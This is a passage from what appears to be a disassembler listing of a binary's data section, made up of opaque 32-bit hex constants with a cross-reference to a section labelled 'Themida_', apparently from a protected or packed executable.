		dd 0D54CF8B4h, 66A0BE61h, 31C3087Eh, 0B443620Bh, 0EB2B8006h
		dd 0EAA5B67h, 778E4020h, 4C472187h, 20C5660h, 18A34E9Dh
		dd 5C7B801h, 0C7B368Ah,	7E38203Eh, 43230EB4h, 66240845h
		dd 4EF10400h, 0D7A528h,	73232AD4h, 9383FB02h, 0DE65BD01h
		dd 0C5D5FE0Ah, 0F9B0B847h, 0FA2F212Dh, 0D1953E84h, 0FE7E2600h
		dd 0E7C7A646h, 34E99E00h, 7BA07702h, 81B01Ah, 454250F4h
		dd 52A7DBAAh, 5DD95300h, 0AF15A25h, 0C1BE009Dh,	89A3B482h
		dd 7800BF1Dh, 949AD1C8h, 435AD3h, 0F6C67554h, 9BDDEBEDh
		dd 0AAB7BB00h, 0E34F6109h, 1F460185h, 49C31A17h, 29C2E463h
		dd 99E8EF01h, 71FDF947h, 3B70D030h, 9180B14Fh, 7E030EC9h
		dd 0EE021F09h, 0AF24B493h, 4024E2ECh, 0A496CEh,	9BBDE432h
		dd 3DE242F7h, 0E3FF7700h, 0AF37F6EEh, 985B605Dh, 268268B8h
		dd 56F71300h, 88520896h, 0FC776D8h, 3FC4EFDEh, 588CD0CEh
		dd 3B005421h, 0E1403905h, 7F7EF7h, 0CB5145EAh, 0AAB82358h
		dd 32285E60h, 7314978h,	79FD7E0Eh, 2B6010ECh, 0BD00D8D5h
		dd 0DEB34AF2h, 608E0EE9h, 729030E1h, 42981019h,	60295A48h
		dd 272E8948h, 0B6AB30EEh, 62AD5659h, 0C0DFFD03h, 90017E21h
		dd 5E4B24h, 27353F9Ch
		dd 0E184D291h, 2E859D1Fh, 0CA040B00h, 22E264h, 0DFCD7EE3h
		dd 25D63649h, 54818C07h, 0D1466E87h, 0F8700E21h, 0FCA73C49h
		dd 89C9E07Ch, 0AA00B171h, 2ADFF261h, 0CD0A02h, 9B900D2Bh
		dd 5F9E93EDh, 2FE03A00h, 0AD51C36Ch, 61B1DF2h, 265E809Dh
		dd 0BAF80B19h, 14A0D500h, 3B8CBB23h, 308A0057h,	0E407837h
		dd 0AF0E4D62h, 0C6E4E0B4h, 2EABE3h, 357A6DA7h, 0C6F859Fh
		dd 9CDC3D00h, 0DB69BACFh, 492900B7h, 5209B0BEh,	3C2DB404h
		dd 69C3602Fh, 0F0C22E7Bh, 0CC550064h, 0B12ACA62h, 5C177E38h
		dd 118F00CAh, 466A2E7h,	518B1E43h, 0E632C958h, 54624303h
		dd 0BB5F2CC0h, 40696Fh,	0FF90ED91h, 4BB53AB7h, 321CEA81h
		dd 0FC4438AFh, 9D3DDA6Eh, 2DEC800Bh, 3528668Eh,	0CA730019h
		dd 0F2FB5C89h, 8800E5E8h, 4D7ED818h, 1CA11Ah, 9F366BC7h
		dd 0AC7A628Bh, 0FD5FD303h, 0F8FA638Eh, 61564833h, 2AC26828h
		dd 0FFD8EC58h, 0D951600Eh, 0C546A07Ah, 1F186190h, 31C680h
		dd 208CB87Bh, 0AA00B5C2h, 0F2A071A4h, 2E1481h, 404167F0h
		dd 858CDBD3h, 0A11AC00h, 6E37768Ah, 0B26F0091h,	0C504830Dh
		dd 0F401F7EDh, 0AFA07503h, 488073FCh, 3B7B9B7Dh, 8A000D39h
		dd 9843218Dh, 561074h, 67031C3Ch, 5E076F1Bh, 938D7E00h
		dd 667850AAh, 0D07000F4h, 91BD36C3h, 39000EC5h,	748177B7h
		dd 3FF46A92h, 79F028h, 49648983h, 6054E904h, 2387A00h
		dd 28D53C94h, 30EFB8B1h, 0BD907E5Ah, 0B0033989h, 56A6E988h
		dd 803A0FFh, 337301B9h,	0F2F468Dh, 83FEF4E2h, 9305A00h
		dd 73B8C957h, 0DDB8FFh,	9BE43C8Dh, 95704491h, 0F3A03B78h
		dd 4100A1E2h, 3EE7F88Ah, 4771Ah, 7BF7EFB9h, 26DD238h, 0C90E677Fh
		dd 20E59BF5h, 4F838490h, 54AF0776h, 0D0664541h,	8F042AC5h
		dd 8B759F00h, 93992CF1h, 525C00F5h, 49CAE64Bh, 0BD60799Dh
		dd 68CC1B28h, 0EACF0384h, 0EC980603h, 0B8395800h, 14D2175Ah
		dd 19B41855h, 0CCEA082Ch, 53D820C3h, 0CDD3B88Ch, 61B51D1Ah
		dd 478E1E76h, 2C84992Eh, 353A0448h, 422A0CEBh, 0F85570C1h
		dd 34095466h, 0B25A04B9h, 3369DCD1h, 0E3E105DEh, 3AA8DF0h
		dd 0D64A9DA7h, 0DA240AF5h, 8BA54058h, 59214C8Eh, 0EB53886Ah
		dd 8B3CD700h, 4B73F7h, 203AA8BEh, 21AB791Ch, 0CD619600h
		dd 0F71E5030h, 9F1900C9h, 0A71D5E9Ah, 0DF014DB7h, 2347424Eh
		dd 0ED707AE6h, 0CAEC05C1h, 0C07157C6h, 254CBC74h, 9DDC843Fh
		dd 0B740A4A8h, 22B3A050h, 0DFD900A7h, 430F34E3h, 1000D5BCh
		dd 0DB851BCEh, 126FCFh,	51A43FB6h, 0F682233h, 0E7EECC0Eh
		dd 82D9C36Ah, 0C40C9802h, 0B2E5002Ah, 0EF2E3CB6h, 5AB80555h
		dd 0A00FF200h, 7948925Ah, 0B51019Bh, 6A8162A9h,	0F7C0DA21h
		dd 0DE00A1CCh, 0F76BD02Eh, 5DD2BE2h, 642410AFh,	0AD31C315h
		dd 0DF5BD3D8h, 0D078B11Fh, 2CD58040h, 6C02BA8h,	0D4DD6B85h
		dd 0C0902E5Eh, 830A263Ah, 9D5A0593h, 2DA6D8C2h,	34810038h
		dd 0C2A3331h, 0DC00BCF9h, 6A2E6107h, 0B882Bh, 0E49A08FDh
		dd 0F57633C4h, 0CE44861Dh, 539BD680h, 7FF2A0Ah,	0E40FF7DCh
		dd 0AFB8E043h, 95001485h, 755B7465h, 94E0EBh, 427793C1h
		dd 90699B6Bh, 803A5E39h, 5122F4DEh, 0FC570F72h,	0E4BC0003h
		dd 17CA19E5h, 2339C64Bh, 204E009Bh, 0CB163C59h,	3D730BF4h
		dd 200CAD6h, 4C119F4Dh,	0CC460226h, 7D4DC03h, 0BB4D060h
		dd 0E7979BBh, 0E8DB3B9Bh, 0B2643660h, 1201C1B1h, 2D638A59h
		dd 60E8E293h, 73F5007Ch, 0F1F8AA53h, 0F00476Ah,	63C8570Bh
		dd 0D0486h, 15EAE350h, 8A22349Ch, 7348011Eh, 0A1C27740h
		dd 0E9749h, 2D6F6D9Eh, 134C9AC3h, 0F929781Dh, 0F6245043h
		dd 0E2D08F79h, 0C00DE4h, 454D6A90h, 8552E52h, 1E20FE05h
		dd 0B80D3EDh, 0EB5077h,	7B0E569Bh, 4421266Eh, 98AB3500h
		dd 5E5C947Dh, 0AC3E000Ch, 4E582749h, 190E1DD8h,	60A53B39h
		dd 5B9C8EC4h, 48210092h, 26494BF5h, 472EDEBCh, 6A005A5Fh
		dd 0CEEA509Eh, 57551D83h, 0F24CC766h, 0CA1AB0CDh, 7B0039FBh
		dd 247D5DC4h, 981389h, 5563D25Bh, 0EDE3A214h, 0CCF2FE00h
		dd 109C6B11h, 71F8B4h, 4773864Dh, 0CB80971Bh, 0E620AD06h
		dd 1D8D18Ah, 0E7D6C42Fh, 0FC232B74h, 3F00777Eh,	1A44AB9Eh
		dd 0DE7C50h, 0A5352537h, 8F6C4B69h, 0EA0014B0h,	0DCDBB0Ah
		dd 8E4DFCh, 0C82165B8h,	0E1F08538h, 6FF89624h, 0B2B02400h
		dd 0EA42269h, 52385F8Fh, 0AA09110Eh, 0C2B45303h, 30E8B688h
		dd 5A7A9100h, 0EADDAEE3h, 11A109F3h, 3C01B00Bh,	0E4598B89h
		dd 0CD02F57Bh, 0DC074E26h, 0DFECE038h, 22B40EB9h, 452FB1C6h
		dd 0B774FE80h, 6590233Ah, 0F30093E2h, 7780D1ACh, 3E246h
		dd 5683D096h, 73B3070Bh, 0F2538B12h, 46CF4800h,	1405EA03h
		dd 0A06FC0C6h, 4FEFC501h, 89AF78C3h, 20328AA0h,	0A56A1724h
		dd 0E60B007Bh, 0D757531Dh, 7F00F00Fh, 0F4298A93h, 5828Ch
		dd 0D6F739Ah, 0ACC9FB20h, 2FCB8500h, 5DECA827h,	0ADBD01FAh
		dd 6504E2C4h, 18888008h, 6A6CD837h, 231C0258h, 32A7A629h
		dd 0B59293C0h, 2B958000h, 0DD344BF1h, 6BEB00CAh, 0BE88E905h
		dd 0A3F6EAC4h, 6D9AA700h, 0CFD34E3Eh, 0A99D0FFDh, 25A027ACh
		dd 34FFF044h, 3F95B300h, 0A10F270h, 421200A9h, 0A43D40B1h
		dd 0A01FBFC7h, 4640C167h, 652449AEh, 0BBD8FD6Dh, 95B81E10h
		dd 0FE17000Bh, 82883FD4h, 0AA8CF554h, 80EC9300h, 0A4B4B2CDh
		dd 206F3A46h, 0B11600F7h, 569106EDh, 0AC006C11h, 1B24F5B6h
		dd 6F20BCh, 99B72C38h, 413EDDDAh, 7382CD00h, 65DF86E9h
		dd 0BF7500B4h, 8AA3B9CBh, 0C8E2EAF1h, 84FC4B0Eh, 0ABA0A0FFh
		dd 1D20FD48h, 404505B6h, 42F715A7h, 7F009D3Bh, 2A384610h
		dd 12EDDDCh, 0C7EA2DEBh, 6042152Fh, 0A2780818h,	2C378801h
		dd 2115304h, 71D84DCh, 0DA60A7F3h, 0C96E3082h, 9F07259Ah
		dd 6D54E99h, 538976F0h,	553A12C3h, 1610402Ch, 5A3DAD40h
		dd 1D9BA83Ch, 35876FE4h, 0EE3EBEAh, 340798E2h, 450A00C4h
		dd 0F3662573h, 0E0004818h, 361CD24Ah, 1CA5F939h, 8919692Dh
		dd 0D800AF1Dh, 914826ADh, 0C123C207h, 42D22BEEh, 40D86276h
		dd 184E089Dh, 10E1AD7Ah, 4F7335AAh, 4B684700h, 0A749E850h
		dd 888E0FACh, 0D5423808h, 0F74053CCh, 8A98C7B2h, 2151721Ch
		dd 4B406941h, 0DDCCF654h, 90AE00A5h, 3CEB0BB1h,	687BD322h
		dd 0DB00C5B8h, 9276A7A9h, 1D541A7Fh, 403A16D4h,	19C8B5A0h
		dd 0AA1E376Bh, 0BDC05D72h, 0C4CC442Bh
		db 1Bh,	48h
word_4D905A	dw 602Fh		; DATA XREF: Themida_:00507FD4o
		dd 88FE6D01h, 0E0F1B720h, 0BA0303C8h, 0E688956h, 6AB3C805h
		dd 13B20044h, 255961A6h, 6C00F575h, 9A3701EFh, 835499h
		dd 0F47209BFh, 0FC818A60h, 0C8517803h, 98D9BE75h, 1F04A8B7h
		dd 0C09B1F8Dh, 0F839D473h, 0BC0AFD8Ch, 82FF3DE3h, 28C0CE1Dh
		dd 1FC56558h, 0FBF60FC2h, 3E0E485h, 2FDB1A60h, 0AF2348h
		dd 6CDAAC40h, 1D732C2h,	0FD972288h, 0E09FE4ECh,	67F8D8C0h
		dd 6717832Ch, 7E81D300h, 4756C6h, 6B2CE90Eh, 17391179h
		dd 0E8FD3Ch, 0B8435566h, 7AF6Ah, 0A7D8820Ch, 0C35F3DD1h
		dd 0C6CB4A00h, 9380A568h, 973800AAh, 3615EDE4h,	1000AD3h
		dd 0C24FF006h, 3A70F24Eh, 880198B7h, 9269CBE1h,	0C8AF2178h
		dd 0C3136B31h, 0F0002FA4h, 0DC171AF5h, 82132C68h, 3FAB0BD5h
		dd 3255F780h, 6B001638h, 736F3560h, 5A3B28h, 0F73D1BBEh
		dd 0C60CFF4Fh, 6FC4700h, 0CEAB4B4Ah, 0AA800216h, 0D8F38987h
		dd 0F04C64E1h, 0CD07DDC1h, 4428C7C5h, 5F808F90h, 0FF640155h
		dd 0DDD515FBh, 6E908334h, 70D2C27h, 7027738h, 69A4014h
		dd 922E5158h, 0F100B8FAh, 0ADA1E04h, 0D1600CAh,	36F752E0h
		dd 5300DDEAh, 0F869405Dh, 0B8E8A8AFh, 3E96E0C8h, 75BBA79Ah
		dd 2E02C84h, 504C03Ch, 2F007F1Ch, 0DFBEBF91h, 772899h
		dd 98EE3013h, 152D0539h, 9C4158C0h, 16999C8h, 0F7BE2970h
		dd 0D5CB9AA6h, 7AA4CCB1h, 9000D871h, 0B3D1D038h, 0E08EE999h
		dd 35E30095h, 0A4B02632h, 0D4005CE1h, 3EC72F1Eh, 3858BE5h
		dd 0EBD3039Eh, 32D0ED78h, 5F00D611h, 79DD8064h,	4D65C1h
		dd 142918ADh, 16A7CCF8h, 8A0FC2F4h, 0C010D598h,	0F4D30994h
		dd 0E691FC32h, 115B1661h, 375440D8h, 0F5148595h, 4C98F8FAh
		dd 4B537C0Fh, 4D024641h, 0FB150310h, 70AF9BD5h,	1C862AC8h
		dd 425D4B74h, 8DAA0104h, 0FD34B0F7h, 0F20AF4h, 899A3076h
		dd 0F5651F49h, 80164F3Fh, 1191A2E0h, 9014092h, 307D7F24h
		dd 60D790C0h, 0E3EC10B2h, 0E0069D00h, 0A82D3B22h, 5108CC1Dh
		dd 0C200BCA1h, 0CE908FD0h, 2D23749h, 0A3206AC9h, 5C4842AFh
		dd 2E001EB5h, 0BEE336F8h, 1E80E23h, 1F4B5ED9h, 801BD3C5h
		dd 0A30D1390h, 3EB4F7h,	46CB70FBh, 270CC68Fh, 94D683Ch
		dd 83BA6220h, 0E8EFDE5Ah, 0D787ADh, 162BFE61h, 75F93E21h
		dd 0DD674400h, 0A4530886h, 0F336005Dh, 0D47439Ch, 0F212F0E4h
		dd 0B700F739h, 8DC40746h, 0E0D71E5Dh, 41E801FBh, 2B155162h
		dd 0E01949A0h, 9E7900F8h, 899DE0A7h, 0D000B827h, 0CAF233D8h
		dd 3BFC9924h, 0B71E734Ah, 0AFA28FD3h, 0EF42403Fh, 8EF308B4h
		dd 0E474D000h, 26E211BAh, 0D7D50063h, 1D3E22A3h, 0E903EB6Fh
		dd 0B582189h, 0C6B7A833h, 0B9103A9Dh, 0E5C57003h, 55F8DCE9h
		dd 0E60350A9h, 3CFCB806h, 1AD0E7C9h, 0FB3E243h,	208D68CFh
		dd 52172140h, 0D30713F0h, 0C8A277FDh, 22A99860h, 87C903EFh
		dd 50AF9358h, 1B2FC0B7h, 9A17E9E2h, 3D1BD6EBh, 0CC94C090h
		dd 0A2BA0160h, 521E4E2Dh, 7AA17F47h, 1B2000F3h,	5AE46114h
		dd 780048CBh, 5D240227h, 37691657h, 10B8DBFDh, 0D19B03F4h
		dd 0E3AE8B07h, 0E130DC2Bh, 0E091D2Ch, 85F4E8C6h, 0D9DD6100h
		dd 4C0EA46Eh, 86C1D49Bh, 209172h, 8861F590h, 38F77AB5h
		dd 0BB6BD100h, 4EA8964h, 0ADCD00ECh, 621CDBFFh,	8B7CFBABh
		dd 2F9BF700h, 89EBE73Ah, 2DFE40BEh, 3D411304h, 0F1C1507Ch
		dd 0FDC8962Bh, 8F120708h, 10BA7AA5h, 62FCCA6Ch,	517DAF00h
		dd 0D9563444h, 0F393933h, 1F7B5B8Eh, 81E8E320h,	0D6000C5Fh
		dd 0FA145CF4h, 1DAB3261h, 0C05A3F09h, 71F92E2Dh, 0D13F5B88h
		dd 8CF582E3h, 0E0AF591Bh, 299577h, 0C1125CE2h, 0FA28437Ah
		dd 7100D47Fh, 0E1971392h, 3D16A3Ch, 4A2A7E54h, 0DD88C97Ch
		dd 85EAF804h, 8A1F1E00h, 0B65C6620h, 0CB560025h, 0C240385Ah
		dd 0CE0063DBh, 92BA8622h, 0F89F80h, 12AF33EAh, 0C20ECA4Fh
		dd 0C11DCB00h, 6236E622h, 4C8200F1h, 0C497F25Fh, 330085DBh
		dd 0C35AFD67h, 46F088h,	0EA490C01h, 8F52D863h, 0D11D7500h
		dd 1CB0335Ah, 90190C64h, 0E6804F78h, 71C99C00h,	5C369A38h
		dd 0A83038Eh, 8878E51Ah, 0F0C6800h, 17586F84h, 72223FD7h
		dd 5CE66A80h, 0BC7DB5FAh, 80C1823Fh, 14888532h,	7C3AE98h
		dd 0F592174h, 20D04204h, 0C233DC80h, 4000B85Ah,	0E4F0549Ah
		dd 0F8862CBFh, 0BAAF1F99h, 7E931824h, 89009FD3h, 0BF2A472Bh
		dd 31C2EDh, 0C9F9E546h,	0FA164020h, 0A849D81Ch,	206AB24Fh
		dd 2FA05ADEh, 3E060B62h, 83FD8F0Eh, 0D8A94FC9h,	0FC0F1Ah
		dd 2347B9DAh, 0E932895Bh, 0C2733607h, 0C7900E79h, 0F86B6C9Ah
		dd 8D0B3EDDh, 68336A00h, 0AD920F44h, 0B8E15F00h, 880239DFh
		dd 0EEE76h, 5730AAF8h, 854C9BA2h, 0E309F900h, 635D7A56h
		dd 0AB2002Bh, 0ECCF74A9h, 6B071C0Eh, 0E5B647FDh, 0D1F372D0h
		dd 315D00C8h, 0D00B7DB7h, 0D50079EAh, 11590CC5h, 0F780389h
		dd 0B7FC7091h, 437DCDE0h, 0B91C90C4h, 0BD834462h, 0C074E1D6h
		dd 278AFCh, 0A887917Bh,	0F45D4C0h, 54B16B30h, 5D94D0h
		dd 0DBC57F77h, 0D3C4EB8Ch, 7E6B0E00h, 950CE17h,	94C48A9h
		dd 352DE1Ch, 906A0666h,	0DF8B42F9h, 5DDD3CC0h, 4EE0C700h
		dd 0CC7E3EECh, 56E500F6h, 5BD4DED0h, 0D38D175h,	38818060h
		dd 0FA2520E0h, 0BD3C00CCh, 2E9634BAh, 140FA69Fh, 80CAE687h
		dd 0FC686DD0h, 375E0FEFh, 0F8A07AD4h, 4B5A41FBh, 0ACBD2F01h
		dd 3BD51882h, 1B93208Eh, 5CCB51C0h, 0D7004FE9h,	0AC36F7Dh
		dd 72B4DFD1h, 30D7CC0h,	0A95C1549h, 11E0D65Bh, 37016405h
		dd 381B4262h, 10834A26h, 4BE84DB4h, 19481DC0h, 0C88ED3Ah
		dd 2055E6BAh, 1EE9F27Bh, 406A02CFh, 0FAD8AC42h,	0EA063F8Ch
		dd 27BD5EB3h, 2ADA278h,	18456130h, 7508E867h, 6244ED2Fh
		dd 85005C87h, 69AE8FBh,	43E41002h, 1D00199Fh, 4AF27382h
		dd 7E6AEF9h, 0C3AFA590h, 6353D05Dh, 0E00054BBh,	0ACDB72FAh
		dd 734936EEh, 844A0156h, 5AD414CEh, 5405D844h, 0E75B962Ch
		dd 872B9701h, 0DB2038h,	0E39D7620h, 0CA686DBh, 0FA3F8F00h
		dd 6784A2B3h, 0AE700Fh,	5A493925h, 36D0BEE0h, 439148h
		dd 380BDC01h, 155145D7h, 0E4CB1234h, 0B41E5406h, 5B00103Fh
		dd 75E1E2F6h, 4A0B66h, 67909EA6h, 77A891EDh, 9900F0F2h
		dd 0A447A3ABh, 5E60DDA1h, 1A7BC8Dh, 1C1764BAh, 98C86A5Eh
		dd 0AE90035Fh, 92AC1EBCh, 9E08EB8h, 0C510FB00h,	43A12A3h
		dd 86A6002Dh, 0C263A0B1h, 0DD006E8Eh, 9266AFE0h, 3492FF9h
		dd 446DF62Eh, 19008F3Bh, 56D997B1h, 7C4C9E16h, 1CAB74ADh
		dd 0C0159C8Dh, 8E28CBA6h, 30C0C437h, 68A84494h,	6F2E7F3Bh
		dd 0DC8078A1h, 2DF04EC1h, 7E357500h, 390EAB07h,	614A0081h
		dd 0DDC7C4CDh, 0CB0E3A31h, 40FE8EA9h, 1A672CA4h, 2F4AC005h
		dd 0D12A60D6h, 5C0C3D76h, 0D9DF9557h, 0B45E18E3h, 0BF7A30BEh
		dd 9EF8A2EAh, 411E1A07h, 27C09AB3h, 219F34h, 4C196BCEh
		dd 252F875Ch, 72C73A3Dh, 0F500EAF2h, 62809EEDh,	1A42C29h
		dd 6C852822h, 0FC8C4732h, 0CE00F97Eh, 0FA88E630h, 8DBEA5h
		dd 0C6F18113h, 267C5756h, 1B497501h, 346BBFF4h,	659ED0h
		dd 89FFAB1Dh, 72CBE959h, 0FE1C6603h, 0B0B1E71Ah, 3EEA3C7h
		dd 0BF4A94E4h, 2D07DAEh, 680145B2h, 43A6F2ACh, 7420A001h
		dd 0DE80C060h, 5708C7E5h, 42BB7000h, 8D6B07F7h,	5FEA0FE3h
		dd 81200F9Fh, 18AB4F45h
dword_4D985C	dd 0C718C560h, 0DF7C27AAh, 2DA70D30h, 0E0F8FC18h, 0DADC7500h
		dd 7A02952Fh, 0A2FA0CD6h, 0E5C0648Fh, 453BF7F8h, 577F80A0h
		dd 43E0A3BAh, 6A110333h, 31A1C542h, 0AFB2E801h,	799395C1h
		dd 0C8D5DCh, 26BB4667h,	1F4D9C60h, 98431328h, 6E9E1B00h
		dd 0A4947275h, 1E53F080h, 2870ACh, 515B95E5h, 5C00D80Ah
		dd 0A9628CC8h, 0D5A89Ah, 0C0453F38h, 12747705h,	0DCFA9005h
		dd 0ABC01F64h, 0F725562h, 0E969C6FCh, 0B0BA6C40h, 1D72A52Bh
		dd 0F2CD1000h, 953432C1h, 15A90057h, 240C790Fh,	0D3006D33h
		dd 71F443E9h, 57A6584h,	0D705A9F1h, 0E301FF56h,	896DB180h
		dd 337034F1h, 9BF20744h, 0A07B1EA3h, 721B5B7Ah,	0D76C1801h
		dd 566E4F5Ah, 761F23E8h, 1F8E86Ah, 1C25F089h, 0CC7021FDh
		dd 640FED40h, 626E08B6h, 40C62EEEh, 17F426h, 4FA3F23Ah
		dd 7D546C78h, 0EEDA6E1Ch, 382AB741h, 98A1E774h,	5345402Ch
		dd 0A8C378B4h, 610A2FCh, 48784F0h, 5C0319E2h, 0BDE3FDA4h
		dd 46FC9019h, 1461285Dh, 9C963F88h, 0E9CE6402h,	98AFB92Bh
		dd 0F84F90E3h, 0F40F819Ch, 85ACC31Dh, 17A60008h, 3E8239C9h
		dd 0AE1C5100h, 244F1FE5h, 293600C7h, 0C2FE1352h, 0ACA35EB6h
		dd 52BDC0E9h, 7120F924h, 721337DDh, 0C1180021h,	0F17943DBh
		dd 38C28CFCh, 63B92F34h, 0DE7C00ACh, 0E10FCB70h, 5130EE82h
		dd 3816C160h, 0C704006Eh, 33620971h, 420A6F78h,	80F6FD73h
		dd 27EF00BBh, 36CA6031h, 8D0E0011h, 5965D8C7h, 4B60AE43h
		dd 9B5F7C71h, 973A07C5h, 90183012h, 0CD84C3Eh, 5FC05250h
		dd 3B00FB71h, 3063FAE1h, 0F8091D8Dh, 9C4750E7h,	0CE0F007Ah
		dd 116C2065h, 0A603856Dh, 0C4F19E3Eh, 51E103E7h, 6A1980D8h
		dd 0B3BC505Eh, 0F901DB4Ch, 0D0152ABAh, 318BA6Ch, 4E0F5205h
		dd 8E06F330h, 4CA53E30h, 93EFF200h, 413CCDE7h, 0FF379E00h
		dd 10D8D5FEh, 0FC00063h, 5F6D268Fh, 53001A14h, 0E572771Ch
		dd 1D65F6F2h, 7C3E1Eh, 0F9E3DB34h, 0D903A2A6h, 10E23B0Dh
		dd 930CF07Bh, 4A950042h, 7746CA91h, 3D5443F1h, 0A900E4A8h
		dd 3149F78Ch, 14CDC19Bh, 8040F342h, 2302D901h, 0C43A8DC4h
		dd 0C800A1BEh, 72E09334h, 7D74471h, 77BF59A9h, 1C12520h
		dd 9BA12686h, 67218046h, 1B731FC2h, 3CF004Ch, 0F957D929h
		dd 0B90FF4BDh, 414B316Ch, 0A2714789h, 1E17DEE4h, 64E861h
		dd 21B394A4h, 0FB0F8B62h, 0BDE7C663h, 9A00FC11h, 3FB5A46Ch
		dd 0CB3AFB5Ah, 97578090h, 248CF2D0h, 0B62D01A1h, 0DCA80B33h
		dd 64908946h, 0BDF30389h, 0AFBC88F3h, 77E30028h, 0D2DA2143h
		dd 36008663h, 0F5A2D564h, 0F20531DFh, 0C6A8C7B5h, 0F1B3302Bh
		dd 0C9B8AC9Bh, 0B13C5100h, 9DFDDFF7h, 0CC5F00CBh, 0AF977F36h
		dd 0F400865Bh, 0F3A331A6h, 7837DB7h, 6332E7DEh,	629FF092h
		dd 53735FC9h, 8EB95C00h, 7AEDE9C6h, 89CD1DEBh, 866840C7h
		dd 0AF7111A9h, 0EAE8EF00h, 0D0376DA5h, 2B10004Ah, 445BEEA2h
		dd 68000836h, 0DC4C2CB4h, 0A95F9Ah, 7E20F88Bh, 2C62B86h
		dd 38F98000h, 0FA6B131Ah, 0F54D0064h, 600A7CD5h, 0AE17694Ch
		dd 600BD7Fh, 9774B455h,	701E004Ah, 87FF915Ch, 1700D1E7h
		dd 12A88EA0h, 3563143h,	48468C2Eh, 0B0D0C2D6h, 9B5CE5B9h
		dd 0C869077Eh, 20CF0C9Ah, 0D6D08875h, 0CC610421h, 80AB8263h
		dd 0E75922DEh, 0FCED8E00h, 51914EC5h, 6FE41F3Fh, 0CB7A8797h
		dd 76FA60ADh, 0C90142A4h, 29A85F8Ch, 0A06A1F91h, 47009FC5h
		dd 0F5D2AE19h, 485D8Eh,	0A801782h, 0ECFC9E40h, 0A9C3CEC0h
		dd 961F5D8h, 0D0239BEh,	1997300h, 8E074F5Dh, 25A7912Ah
		dd 6B5CE760h, 0D89C0747h, 72DF68F3h, 0D740F4C8h, 19004238h
		dd 0CE8E885Eh, 0F56E228h, 0C96F5CDEh, 0B0E9807Fh, 0EFBA75D4h
		dd 3BB0B00h, 9931B454h,	80B13A48h, 0C55D500h, 0C99F593Bh
		dd 1C0F78F6h, 0C058C2C8h, 4593B249h, 50190018h,	556751FEh
		dd 1000AF5Dh, 9AED77CCh, 0CB2FFFh, 50944DF2h, 0B7CE357Ch
		dd 0ECE98A00h, 20876DBDh, 1898FA6Bh, 0D87D3037h, 0C62ED7CBh
		dd 1C1C7077h, 0C4AA6E43h, 589110B0h, 1091070Eh,	0ECD0EDF6h
		dd 0BB394Ah, 0FC646B69h, 1A3ADEB2h, 0AE60D20Fh,	758A2354h
		dd 0EB6EC970h, 0D1E35CEDh, 0E3D8EF76h, 364C0074h, 0D3C3DB40h
		dd 0E7133B38h, 7D007B93h, 0FCC47E8Eh, 6A0E0074h, 0CC09609Ch
		dd 0FD729ECEh, 0D05200Bh, 605F8E7Dh, 0C09DE073h, 0E6B007B8h
		dd 0D1B49361h, 0FF5CFE38h, 0F55A37E8h, 1AB81D0Eh, 68FE0BFh
		dd 0E567077h, 0DB3C754Ah, 0FE9CB503h, 32ADCA88h, 0EEA0FA0Bh
		dd 885622h, 71F5EFD6h, 4C000164h, 0D00A6C74h, 42F07Ah
		dd 3A5A7C94h, 5935C57Eh, 198A8800h, 0AA9B01B6h,	0A579A9h
		dd 10F099AEh, 5B45B8D6h, 9C95A800h, 51CF9420h, 0D9FC0077h
		dd 3D1F78B0h, 70274C1h,	413A747h, 0B2D760EBh, 6D100C9h
		dd 54C8E032h, 0E10010CAh, 218616E2h, 7D2E9C5h, 30DEAC13h
		dd 0F7B420E3h, 0D8904890h, 0AFFE0E00h, 369D1271h, 0FD0005Bh
		dd 0FC49377Ah, 210B77CEh, 8363D43Ch, 52CF162h, 0BAC4EB41h
		dd 2EE4002Fh, 8A4162Bh,	7521310Eh, 30B90247h, 3A9AE3F7h
		dd 0C7806652h, 2C3CCA28h, 0F200C91Eh, 901D568Ah, 31C54C3h
		dd 0B60D3211h, 39D85DEFh, 0E93CA903h, 26B0809Dh, 0DE947ADFh
		dd 302748B4h, 78FB7000h, 0AFB5FD8Ah, 5B08B200h,	582888D2h
		dd 52BC0085h, 5956A34Dh, 0CEFE559Bh, 7292C500h,	8AFBAD61h
		dd 0C82C007Eh, 0A545E962h, 0CD0137D0h, 0A8095764h, 0C1E4AA5Fh
		dd 752900B9h, 20889FA1h, 56006F51h, 50547228h, 842BE1h
		dd 5928047h, 0C176E02Ah, 0CB771E00h, 1835208Ch,	0EB2600A5h
		dd 0ACB27137h, 0F50013A1h, 1CCEC006h, 0D03FC2h,	0B09064BCh
		dd 93319128h, 35E7F900h, 7482E278h, 6D7900FDh, 67D56E6Bh
		dd 0F900F870h, 9E19BC76h, 45ACF3Bh, 0C7A0A14Ah,	0F47CC018h
		dd 6B011202h, 3679B2D9h, 55F8D8BCh, 34690FFFh, 0F6805313h
		dd 393198FCh, 49583F00h, 0F5AD06A3h, 154800CDh,	0D683114Dh
		dd 0D8009536h, 187BB2DFh, 9D2D6Dh, 6846E10Ah, 3E5C8E0Eh
		dd 0AA755800h, 93CCA642h, 1E6A0024h, 0B06F8C8Dh, 0D4240607h
		dd 87BA14E2h, 79E937BEh, 0E7A9C7A1h, 91FB20h, 0CE27CF90h
		dd 506F2FAh, 1EDD6548h,	0B340AA64h, 0F6A7EBDAh,	1ED023Ah
		dd 46F0C654h, 8BD15848h, 7AD63407h, 0B610F7D4h,	3391229h
		dd 2260058Dh, 0A42DCCh,	0B2AADDE4h, 0AB2F0050h,	3BFDC0E9h
		dd 4407873Ch, 0E7629D6h, 208462A0h, 9B940081h, 0F7BD0C8Bh
		dd 170E982Ah, 407B0831h, 136058E3h, 97E10072h, 5FC4033Bh
		dd 0AA00B9ACh, 4BB5A02h, 454234h, 0EBA093E6h, 0B92BDEBCh
		dd 2FB3F501h, 6BA8B09Dh, 3DD3C8C3h, 0E9514DAh, 3F03FC32h
		dd 0ECF89C6Dh, 0BADE63D0h, 7A7E8500h, 0A705C861h, 0CD060187h
		dd 3C5EC72Bh, 0D4C4E435h, 0B74BCA1Eh, 3300C0E4h, 0B3A6DE30h
		dd 751F0006h, 2D85A079h, 3F1F7CF5h, 25C70B26h, 2B0DA1Dh
		dd 1676CC0h, 0B6C8D847h, 600983B9h, 8700840Ch, 0B739AC72h
		dd 7474D3B1h, 1C9F098h,	37FA4428h, 0E429DD61h, 0DA00D2AAh
		dd 0F03C3FBBh, 4E89078Bh, 5549B04Bh, 9ABD6600h,	3C060171h
		dd 5F6000E2h, 0F270F518h, 93002FF7h, 54D8F75h, 6A2A07h
		dd 45A00B48h, 1DD4DF3Ch, 0B169E800h, 3ABED1E6h,	892300F1h
